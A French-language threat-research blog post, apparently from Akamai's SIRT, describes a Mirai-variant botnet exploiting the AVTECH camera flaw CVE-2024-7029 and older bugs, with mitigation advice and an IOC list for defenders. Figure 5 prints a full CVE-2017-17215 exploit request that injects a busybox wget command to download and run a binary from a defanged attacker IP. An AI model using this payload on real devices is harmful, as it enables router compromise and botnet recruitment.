Méfiez-vous de ce qui ne peut être corrigé : Le botnet Corona Mirai se propage via Zero Day
Éditorial et commentaires supplémentaires de Tricia Howard
Édité par Maria Vlasak
Synthèse
L'équipe SIRT (Security Intelligence and Response Team) d'Akamai a repéré une campagne de botnet qui exploite plusieurs vulnérabilités précédemment exploitées, ainsi qu'une vulnérabilité de type « Zero Day » découverte par l'équipe SIRT.
CVE-2024-7029 (découverte par Aline Eliovich) est une vulnérabilité d'injection de commande trouvée dans la fonction de luminosité des caméras de télévision en circuit fermé (CCTV) AVTECH qui permet l'exécution de code à distance (RCE).
Une fois la vulnérabilité injectée, le botnet diffuse une variante de Mirai dont les noms de chaînes font référence au virus COVID-19, observé depuis au moins 2020.
Nous avons inclus une liste d'indicateurs de compromission (IOC) dans cet article de blog pour aider à la défense contre cette menace.
Introduction
L'équipe SIRT d'Akamai surveille un certain nombre de flux de renseignements internes et externes et y participe afin d'assurer la sécurité de nos données privées en ligne et de celles de nos clients. Nous avons découvert plusieurs menaces actives grâce à notre réseau mondial de leurre, y compris celle dont nous parlons aujourd'hui : CVE-2024-7029, découverte par Aline Eliovich.
Cette vulnérabilité RCE zero-day a été découverte dans la fonction de luminosité des caméras IP AVTECH et permet une injection de commande pour diffuser une variante de Mirai sur un système cible. Elle peut être exécutée à distance avec des privilèges élevés (propriétaire du processus en cours d'exécution). En août 2024, la CISA a publié un avis sur les systèmes de contrôle industriels (ICS) pour cette vulnérabilité, citant l'absence de complexité des attaques, l'exploitation à distance et l'exploitation publique connue.
La campagne de botnet cible plusieurs vulnérabilités en dehors de CVE-2024-7029, y compris plusieurs vulnérabilités AVTECH, un Hadoop YARN RCE, CVE-2014-8361 et CVE -2017-17215. Cela s'inscrit dans la tendance inquiétante qu'ont les attaquants d'utiliser, à des fins malveillantes, des vulnérabilités plus anciennes et probablement de faible priorité qui n'ont pas été corrigées.
Rattrapage et correction
S'il y a un moment où il faut rattraper son retard en matière de correction, c'est bien maintenant, car bon nombre de ces vulnérabilités présentent un élément RCE. Pire encore, l'absence d'attribution formelle de CVE rend difficile le suivi du bogue, sans parler des correctifs.
Dans cet article de blog, nous décrirons l'attaque « zero-day » et son impact, et vous présenterons une liste complète des IOC pour faciliter la détection ou l'atténuation.
Qu'est-ce que la CVE-2024-7029 ?
En bref, la CVE-2024-7029 est une vulnérabilité dans les caméras IP AVTECH dans lesquels l'argument « brightness » dans le paramètre « action= » permet l'injection de commandes. L'acteur malveillant que nous avons observé a profité de cette vulnérabilité pour diffuser une variante Mirai avec des noms de chaînes faisant référence au virus de la COVID-19.
Depuis combien de temps est-elle active ?
La première campagne active que nous avons observée a débuté le 18 mars 2024, mais l'analyse a montré une activité pour cette variante dès décembre 2023. La preuve de concept (PoC) pour la CVE-2024-7029 est accessible au public depuis au moins 2019, mais il a fallu attendre août 2024 pour qu'elle soit attribuée à une CVE.
Qui est concerné ?
Cette vulnérabilité dans les caméras IP AVTECH affecte jusqu'aux versions du micrologiciel AVM1203 FullImg-1023-1007-1011-1009. Bien que le modèle en question ne soit plus utilisé depuis plusieurs années, la CISA indique dans son avis que ces terminaux sont toujours utilisés dans le monde entier, y compris par les autorités de transport et d'autres entités responsables d'infrastructures critiques.
Comment ça marche ?
À l'origine, cette vulnérabilité a été découverte en examinant nos journaux de leurre. La figure 1 montre l'URL décodée pour plus de clarté.
Figure 1 : Corps de charge utile décodée des tentatives d'exploitation
Cette vulnérabilité réside dans la fonction luminosité du fichier /cgi-bin/supervisor/Factory.cgi (Figure 2).
Figure 2 : Démonstration de faisabilité (PoC) de l'exploitation
Que pourrait-il se passer ?
Dans les exemples d'exploitation que nous avons observés, voici en substance ce qui s'est passé : L'exploitation de cette vulnérabilité permet à un attaquant d'exécuter du code à distance sur un système cible.
La figure 3 présente un exemple d'acteur malveillant exploitant cette faille pour télécharger et exécuter un fichier JavaScript afin de récupérer et de charger la charge utile principale du logiciel malveillant. Comme beaucoup d'autres botnets, celui-ci diffuse également une variante du logiciel malveillant Mirai à ses cibles.
Figure 3 : Chaînes du téléchargeur JavaScript
Dans ce cas, le botnet est susceptible d'utiliser la variante Corona Mirai, qui a été mentionnée par d'autres fournisseurs dès 2020 en relation avec le virus de la COVID-19.
Une fois exécuté, le logiciel malveillant se connecte à un grand nombre d'hôtes via Telnet sur les ports 23, 2323 et 37215. Il imprime également la chaîne « Corona » sur la console sur un hôte infecté (figure 4).
Figure 4 : Exécution d'un logiciel malveillant affichant la sortie vers la console
L'analyse statique des chaînes dans les exemples de logiciels malveillants montre le ciblage du chemin /ctrlt/DeviceUpgrade_1 dans une tentative d'exploitation des appareils Huawei affectés par la CVE-2017-17215. Les échantillons comportent deux adresses IP de commande et de contrôle codées en dur, dont l'une fait partie du code d'exploitation CVE-2017-17215 (Figure 5).
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"
<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 45.14.244[.]89 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips; /tmp/mips huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Fig. 5 : Exploitation de code CVE-2017-17215 /ctrlt/DeviceUpgrade_1
Le botnet a également ciblé plusieurs autres vulnérabilités, notamment une RCE Hadoop YARN, CVE-2014-8361 et CVE-2017-17215. Nous avons observé ces vulnérabilités exploitées sur le terrain à plusieurs reprises, et elles continuent d'être couronnées de succès.
Conclusion
Une vulnérabilité qui ne fait pas l'objet d'une assignation CVE officielle peut tout de même représenter une menace pour votre organisation. Cette vulnérabilité peut même constituer une menace importante. Les acteurs malveillants qui ont recours à ces botnets utilisent des vulnérabilités nouvelles ou peu connues pour faire proliférer des logiciels malveillants. CVE-2024-7029 est un autre exemple d'utilisation de cette dernière méthode, qui devient une tendance d'attaque de plus en plus populaire observée par l'équipe SIRT.
Il existe de nombreuses vulnérabilités avec des exploitations publiques ou des PoC disponibles qui n'ont pas d'affectation CVE formelle et, dans certains cas, les terminaux ne sont pas corrigés. La gestion des priorités en matière de correctifs est difficile, en particulier lorsque les menaces n'ont pas de correctif disponible. S'il n'y a aucun moyen de remédier à une menace, la mise hors service du matériel et des logiciels est le moyen recommandé pour atténuer les risques de sécurité et réduire le risque d'amendes réglementaires.
Suivez-nous
L'équipe SIRT d'Akamai continuera à découvrir, surveiller et signaler les menaces telles que CVE-2024-7029 pour la sécurité de nos clients, de nos collègues et de l'ensemble de la communauté des spécialistes de la sécurité. Pour vous tenir informé des dernières découvertes, suivez-nous sur les réseaux sociaux ou consultez notre page d'étude sur la sécurité.
Indicateurs de compromission (IOC)
Adresses IPv4
93.123.39[.]72
93.123.39[.]87
93.123.39[.]111
147.78.103[.]177
185.216.70[.]37
94.156.8[.]185
93.123.39[.]173
74.50.81[.]158
94.156.71[.]74
93.123.85[.]213
185.216.70[.]142
45.66.231[.]148
185.216.70[.]79
Hachages SHA256
15a1d52c529d314bb2b5fa8b8bd6c6a496609a283dd0e78e595c929e720d1b5b (« r »)
c0ae1eb249705f61d45ca747c91c02a411557a28792f4064c1d647abb580bc10 (« x86 »)
b0f7ef937d77061515907c54967a44da3701e0d2af143164bbf44bb4fc6f26af (« sh »)
e82192fbe00bc7205abe786155bbfc0548f5c6ee9819a581e965526674f3cc57 (« mips »)
9e9e481bb448438572c2695469c85f773ddcd952025e45bee33bbfce2531c656 (« r »)
f4bf61fc335db4f3e7d7d89b534bc1e6ead66a51938e119ea340fe95039935e3 (« mips »)
22553be649f76a060ebbdfd410e295b66803e9c49d23369a726be2c5a25733ab (« sh »)
135264de24d499877e95673b9cca737e488042813f41fef7817728a704323fe2 (« r »)
6ad5984bc9af7af6962a080bbb1a35bb56e8671c4b9c1d44e88da5a3f6b9aa82 (« r »)
947f517d3b833cc046b2ea0540aad199b7777fb03057122fb0b618828abdc212 (« r »)
8ac82a770cffbbc8fba73554d7caa117ef6d37ffee468665b95bc406449f91b5 (« r »)
5e264cb009c4d84b6180e47b9ceda3af8897b17b88fccc9c2914706d66abd1d1 (« r »)
372eefdc4bf9f4a4382db2762fcf9a9db559c9d4fff2ee5f5cf5362418caaa92 (« r »)
3995a7e7eb8eeafb0b6da2c3813e61d11993a820d478c87809136de79d8f8280 (« sh »)
40d8f662c187b53fd6fdeb70db9eb262b707e557d3fa4e5e4eacaeaa03ac45f2 (« r »)
4826b0194fbd924aa57b9c4ab1e017f0f45f547189374b0ea761d415fa4285ff (« x86 »)
25945c4fe38ed2008f027bd1484b89867b23528c738812d317ddf57f48666b91 (« r »)
cfcae524309a220a48327c50bf32bf5ed3aed5698855b5da9f1ae932fb2df90c (« x86 »)
774947944ea370592a30478bb3f26081799f7d7df975a6735e620d3442e7803b (« x86 »)
06b1f09a62204472581e6aec381f96014bb6cc3fc1a9cef38bbcfe88bd82e499 (« r »)
4f50d318688c80f08eb7fad6f8788cae459c3420b3b9eb566f936edd7a780ae1 (« sh »)
c15bbfb85bfd8305fad8cc0e0d06cbe825e1e6fc6d8dbe5a8d1ac4243bd77d0c (« x86 »)
0a566c39ecbc4107f954cb3e5e240ccaf0018dfac9b5062b4db7971fb3d9f413 (« x86 »)
2d7351aa765bb2feed9536cc392b2013361c193e99841c5b56591d988bd4b582 (« x86 »)
5d58f0fa54784e9c90825cba9e2052f691cdcfe85b0796a6379982832563090d (« x86 »)
